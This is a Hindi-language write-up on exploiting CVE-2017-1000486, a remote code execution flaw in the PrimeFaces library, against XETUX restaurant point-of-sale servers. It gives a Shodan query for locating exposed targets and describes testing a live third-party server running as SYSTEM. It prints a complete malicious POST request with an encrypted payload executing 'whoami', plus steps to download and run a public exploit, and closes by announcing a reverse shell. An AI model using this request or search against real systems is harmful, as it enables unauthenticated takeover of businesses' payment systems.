
शोषण CVE-2017-1000486
इस अवसर पर हम संयोगवश रेस्तरां के लिए POS एप्लिकेशनों XETUX में मौजूद एक भेद्यता से टकराए, जो रेस्तरां की निगरानी और स्वचालन का समाधान है। पनामा में यह कई रेस्तरां द्वारा व्यापक रूप से उपयोग किया जाने वाला टूल है।
मौजूदा भेद्यता एक RCE (रिमोट कोड एक्ज़ीक्यूशन) है, जो हमलावरों को बिना प्रमाणीकरण के कोड निष्पादित करने और लक्ष्य पर विशेषाधिकार प्राप्त करने की अनुमति देती है।

एक बार जब हमने पाया कि Xetux एप्लिकेशन में एक लाइब्रेरी मौजूद है, जिसे primefaces कहा जाता है और जो PDF उत्पन्न करती है, तो हमने संभावित लक्ष्यों की पहचान करने के लिए shodan पर खोज करने का निर्णय लिया।
http.title:"@XETUX" country:PA
खोज में पनामा में 40 और दुनिया में 334 परिणाम मिले।

हम पनामा में नहीं होने वाले एक लक्ष्य पर भेद्यता की जाँच करने के लिए आगे बढ़ते हैं। बैकएंड के परिणामों का विश्लेषण करने पर:

हम देख सकते हैं कि एप्लिकेशन को सभी विशेषाधिकारों के साथ स्थापित किया गया है nt authority\system। आगे क्या होता है, हम समझाते हैं:
एप्लिकेशन सर्वर के रूप में Apache Tomcat का उपयोग कर रहा है, बैकएंड के लिए Java का उपयोग किया जाता है। एप्लिकेशन में Primefaces नामक एक तृतीय-पक्ष लाइब्रेरी या प्लगइन का उपयोग करते हैं। समस्या वाला पथ एंडपॉइंट javax.faces.resource/dynamiccontent.properties.xhtml है।
इस लाइब्रेरी के बारे में खोज करने पर हमें एक भेद्यता मिली। Primefaces डायनामिक कंटेंट इस प्रकार लोड करता है:
/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true
समस्या pfdrid पैरामीटर में है:
pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl
पैरामीटर का मान एन्क्रिप्टेड है और यह सत्यापित करने का कोई तरीका नहीं है कि अनुरोध सही ढंग से डिक्रिप्ट किया जाएगा। दुर्भाग्य से, यदि वे डिफ़ॉल्ट कुंजी के मानों को संशोधित नहीं करते हैं, तो कोई डिफ़ॉल्ट कुंजी के निर्माण का अनुरोध कर सकता है, इसलिए हमारे लिए सौभाग्य से, सभी परीक्षणों में डिफ़ॉल्ट कुंजी बनी रही।
इसी प्रकार, Padbuster उपकरण के साथ Padding Oracle Attack किया जा सकता है और कुंजी प्राप्त की जा सकती है। नीचे हम अनुरोध साझा करते हैं:
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643
pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami
जैसा कि हमने पहले उल्लेख किया, RCE वाली लाइब्रेरी Primefaces है, जिसका सार्वजनिक एक्सप्लॉट CVE-2017-1000486 है।
हम एक्सप्लॉट डाउनलोड करके भेद्यता का परीक्षण करेंगे:
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt
हम एक्सप्लॉट चलाते हैं:

यह हमें एक कुंजी और अनुरोध प्रदान करेगा:

यह कमांड का परिणाम लौटाएगा:

अब हम सर्वर तक पहुँच प्राप्त करने के लिए रिवर्स शेल प्राप्त करने के लिए आगे बढ़ते हैं:
